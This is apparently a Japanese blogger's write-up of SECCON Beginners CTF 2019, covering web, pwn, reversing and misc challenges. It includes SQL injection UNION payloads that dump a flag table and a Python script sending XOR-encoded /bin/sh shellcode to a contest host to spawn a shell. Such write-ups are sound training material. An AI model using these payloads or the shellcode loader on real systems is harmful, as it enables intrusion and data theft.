##ONLINE 2019/5/25
Qiitaに記事として馴染むかは分からんのですがとりあえず投稿
チームで参戦してだいたい20位くらい
BeginnersなのでWriteupも丁寧に書いてみる!
##Web
BeginnersというだけあってESPer能力はさほど問われない問題が用意されていた
###[warmup] Ramen 73pt
検索フィールドがあるモダンなラーメン屋さんのページが表示される。
とりあえずお約束のコードを打ち込んで見るところからスタートしてFlagをゲットするまで。
・step1:カラム数のチェック
' UNION SELECT null, null, null ,null; # -> Fatal Error
' UNION SELECT null, null, null; # -> Fatal Error
' UNION SELECT null, null; # -> error 無し
・step2:table名の取得
それっぽいflagというテーブル名が見える
' UNION SELECT table_name , null FROM INFORMATION_SCHEMA.COLUMNS; #
・・・
INNODB_FT_CONFIG
flag
members
・・・
・stage3:FLAG GET
テーブルを読み込むとFlagが表示されてる
' UNION SELECT flag,null FROM flag; #
FLAG:ctf4b{a_simple_sql_injection_with_union_select}
###katsudon 101pt
Web問題?
よくわからないけどこんな文字列が渡される。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
とりあえずBase64に前半をかけるとFlagがいきなり出てきた・・・これでいいんでしょうか・・・
FLAG:ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
##PWnable
###[warmup]shellcoder 291pt
接続すると入力を求められるので、IDA(free)とgdbで解析して動作を見ていく。
nc 153.120.129.186 20000
Are you shellcoder?
「b,i,n,s,h」を含むと終了する。
というわけで、こんな感じのコードを書いてShellを取って終了。
ShellcodeにはXORで/bin/shが見えない状態にするものを使用。
import socket
import telnetlib
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("153.120.129.186",20000))
print s.recv(1024)
s.sendall(shellcode)
t = telnetlib.Telnet()
t.sock = s
t.interact()
# python solver.py
Are you shellcoder?
ls
flag.txt
shellcoder
cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
##Reversing
###Leakage 186pt
実行時にflagを引数に渡すと正しいflagかどうかチェックしてくれるプログラム(たぶん)。
is_correct関数内で正しいかどうかをチェックしてる
0x40062Bのconvert関数でハードコーディングされているFlagをデコードして値をチェックしているのを発見。
convert関数のあとでcmpで比較してるところで値を張っていればFlagをゲット可能
FLAG:ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
###Linear Operation 293pt
気づくのに若干時間がかかった問題
flagとして渡した値の特定のオフセットの値を2か所1Byteずつ取り出し、演算した値とハードコーディングされている値をチェックしている箇所が延々と続く問題。
演算も毎回微妙に違うので人力で解析はかなりきつい・・・
IDAで見るとこんな感じで、ギザギザに見えるのが1つの処理でFlagが結構長いので手動でやる気はおきないしやってはいけない感じ
というわけで、シンボリック実行でゴールを決めて力技で解く方法に切り替える。
モジュールはangrを使いました。
import angr
p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})
addr_main = p.loader.main_bin.get_symbol('main').addr
addr_succeeded = 0x40CEDA
addr_failed = 0x40CED2
initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,))
if len(e.found) > 0:
s = e.found[0].state
print "%r" % s.posix.dumps(0)
スペックの低いPCでも5分くらいで出た
Flag:ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
###SecconPass 425pt
C++で書かれているパスワードマネージャのようなもの。
ハードコーディングされているKeyがFlagになっている様子。
が、要所要所に「To be implemented(実装予定)」と記載された処理が・・・
とりあえず、Decrypt,Encrypt,Destroyしている箇所を読んでいく。と、0x39F0にあるデータを使用しようとしている雰囲気が。
0x3739でこの個所をXorすると、Flagの一部と思われる値「ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9」が出現
↓ XOR後
しかし、のこりのFlagが出てこない。
と、悩んでいるとアナウンスが・・・
どうやら中途半端にしかFlagが存在していない様子。
悩んだ時間はなんだったのかwまぁいいけど
Flag:ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9
##Misc
###Sliding puzzle 206pt
0の位置がいわゆるブランクで、0をどのように操作すると0~8が順番通りに並ぶかを答える問題。
0を動かした順番は、0,1,3,0 のように入力する。
1回正解しても何度も問題が出題されるので、連続で解く必要がある問題。
ジャンルとしてはプログラミングになるのでは。
---------------- ----------------
| 0 | 2 | 3 | | 0 | 1 | 2 |
| 6 | 7 | 1 | これを、 | 3 | 4 | 5 | にするときの0のルートを回答。
| 8 | 4 | 5 | | 6 | 7 | 8 |
---------------- ----------------
最初自力でSolverを書いたところ、答えが合っているだけではだめで、最短経路じゃないとダメらしい。
たまに最短じゃなかったらしく心が折れかけた(・ω・
と、思ったら優秀なSolverを発見。
https://github.com/YahyaAlaaMassoud/Sliding-Puzzle-A-Star-Solver
これを魔改造して回答をGETしました。
FLAG:ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Pwn問題が解けなかったのが悔しい!
次はPwnがんばる